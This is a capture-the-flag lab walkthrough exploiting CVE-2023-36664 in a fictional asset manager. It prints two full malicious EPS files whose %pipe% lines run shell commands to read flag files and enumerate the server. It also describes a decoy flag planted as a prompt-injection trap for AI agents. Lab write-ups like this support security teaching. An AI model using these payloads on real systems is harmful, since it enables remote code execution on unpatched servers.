Lab 126 — AssetForge — RCE via Ghostscript Pipe Device Bypass (CVE-2023-36664)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ghostscript_pipe_command_execution, honeypot_flag_detection, nosafety_misconfiguration_exploit, ocr_data_exfiltration, postscript_rce_via_thumbnail

Summary

Walkthrough of the CUSTOM Web Lab 126 — AssetForge — RCE via Ghostscript Pipe Device Bypass (CVE-2023-36664). Task: Digital asset management platform (AssetForge) that processes EPS/PS/PDF uploads via Ghostscript for thumbnail generation and format conversion. Solution: Exploited CVE-2023-36664 by uploading a

Description

AssetForge is a digital asset management platform built for creative teams at Forge Digital Inc. The application allows users to upload, organize, preview, and convert design files across various formats including vector graphics and print-ready documents. The platform automatically generates thumbnails and format conversions for all uploaded assets.

English summary: A Flask-based digital asset management platform behind nginx/1.25.5 that accepts file uploads (PNG, JPG, SVG, EPS, PostScript, PDF, AI up to 20 MB), generates thumbnails automatically using Ghostscript, and provides format conversion between supported types. The goal is to achieve RCE and read the flag from the server filesystem. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Reconnaissance

• Logged in with provided credentials (user@test.com / password123)
• The platform is a Flask application behind nginx/1.25.5
• Upload page at /upload accepts: PNG, JPG, SVG, EPS, PostScript, PDF, AI (max 20 MB)
• Convert page at /convert allows converting between formats (EPS → PNG/JPG/PDF, etc.)
• The platform uses Ghostscript for EPS/PS/PDF/AI conversions and Pillow for raster images
• Thumbnails are automatically generated for uploaded files — EPS files get PNG thumbnails via Ghostscript ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot Detection

The HTML source contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is a prompt injection trap designed to fool AI agents and automated scanners — it was correctly identified and ignored.

Vulnerability Identification

The challenge title explicitly references CVE-2023-36664 — a Ghostscript vulnerability where the %pipe% device can be used to execute arbitrary shell commands when Ghostscript processes PostScript/EPS files. This works because: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Ghostscript is running with -dNOSAFER flag (disables the security sandbox)
2. PostScript's %pipe% operator allows opening a pipe to a shell command
3. The (r) file operator reads the command's stdout back into PostScript
4. The output can be rendered as text on the generated image

The automatic thumbnail generation on file upload triggers Ghostscript processing without any user interaction beyond uploading.

Solution

Step 1: Craft Malicious EPS Payload

The first payload used a small font to enumerate the filesystem and find the flag: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 postscript read-only • copy allowed Copy
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792

/Courier findfont 7 scalefont setfont

(%pipe%cat /flag.txt 2>/dev/null; cat /root/flag.txt 2>/dev/null; cat /flag 2>/dev/null; find / -maxdepth 3 -name "flag*" 2>/dev/null; ls -la / 2>/dev/null; id 2>/dev/null; whoami 2>/dev/null) (r) file
50 780 moveto
{
  dup 512 string readline
  {
    50 currentpoint exch pop 9 sub moveto
    show
  }
  { pop exit }
  ifelse
} loop

showpage

How this works:

1. (%pipe%cat /root/flag.txt ...) — opens a pipe to execute shell commands searching for the flag in common locations
2. (r) file — opens the pipe in read mode, capturing stdout
3. 512 string readline — reads output line by line into a string buffer
4. moveto / show — renders each line as Courier text on the page, moving down 9 points per line
5. The loop continues until EOF, then showpage finalizes the page ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Upload and Trigger Execution

1. Uploaded the malicious EPS file via the upload form at /upload
2. The server automatically generated a PNG thumbnail using Ghostscript, which executed the embedded shell commands
3. Downloaded the thumbnail from /asset/10/thumbnail — a 1275×1650 RGB PNG image
4. The thumbnail contained the rendered shell command output as text

Step 3: Extract Flag via OCR

The initial 7pt font was difficult to OCR accurately. A second payload with larger font was uploaded: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 postscript read-only • copy allowed Copy
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792

/Courier-Bold findfont 20 scalefont setfont

(%pipe%cat /root/flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null) (r) file
50 750 moveto
{
  dup 512 string readline
  {
    50 currentpoint exch pop 25 sub moveto
    show
  }
  { pop exit }
  ifelse
} loop

showpage

Used tesseract OCR to extract text from the thumbnail image:

 python read-only • copy allowed Copy
from PIL import Image
import pytesseract

img = Image.open("thumbnail2.png")
text = pytesseract.image_to_string(img)
print(text)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

OCR confirmed:

• The flag was located at /root/flag.txt
• The server was running as root (uid=0)
• Flag: FLAG{REDACTED}

Failed Approaches

Key Takeaways / Lessons

• Mastering ghostscript_pipe_command_execution, honeypot_flag_detection, nosafety_misconfiguration_exploit, ocr_data_exfiltration, postscript_rce_via_thumbnail was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-12 • CUSTOM • Lab 126 — AssetForge — RCE via Ghostscript Pipe Device Bypass (CVE-2023-36664) • Difficulty: Medium